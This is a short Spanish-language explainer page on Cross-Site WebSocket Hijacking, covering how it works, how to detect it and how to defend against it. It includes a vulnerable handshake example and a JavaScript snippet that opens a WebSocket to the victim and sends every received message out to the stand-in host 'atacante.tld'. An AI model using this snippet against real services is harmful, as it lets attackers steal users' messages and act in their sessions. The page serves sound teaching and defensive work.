the_open_door
café
ESEN
← Volver al índice

Cross-Site WebSocket Hijacking

El Cross-Site WebSocket Hijacking (CSWSH) es el equivalente del CSRF para WebSockets. El handshake de una conexión WebSocket viaja como una petición HTTP normal y, si el servidor la autentica solo con la cookie de sesión y no comprueba la cabecera Origin ni un token anti-CSRF, una web del atacante puede abrir una conexión al WebSocket de la víctima con la sesión de esta y leer o enviar mensajes en su nombre.

El handshake vulnerable se reconoce porque el servidor acepta un Origin ajeno:

GET /chat HTTP/1.1
Host: victima.tld
Upgrade: websocket
Connection: Upgrade
Origin: https://atacante.tld
Cookie: session=<de la victima, enviada por el navegador>

Desde la página del atacante, el JavaScript abre la conexión y exfiltra lo que reciba:

var ws = new WebSocket('wss://victima.tld/chat');
ws.onmessage = e => fetch('https://atacante.tld/x?d=' + btoa(e.data));
ws.onopen = () => ws.send('READY');

Como el navegador adjunta la cookie automáticamente, el atacante hereda la sesión sin verla. El impacto depende del canal: robo de mensajes, acciones autenticadas o volcado de datos en tiempo real.

Cómo detectarlo. La firma es un handshake de WebSocket (Upgrade: websocket) cuyo Origin no coincide con el dominio del servicio y que aun así recibe 101 Switching Protocols. En los logs, vigilar conexiones WebSocket con Origin externo y sesiones válidas, y picos de tráfico WS hacia orígenes no esperados.

Defensa. Validar la cabecera Origin en el handshake contra una lista blanca, exigir un token anti-CSRF propio en la conexión (no solo la cookie), y marcar la cookie de sesión como SameSite=Lax/Strict. Roza el CORS mal configurado en el mismo fallo de confianza en el origen.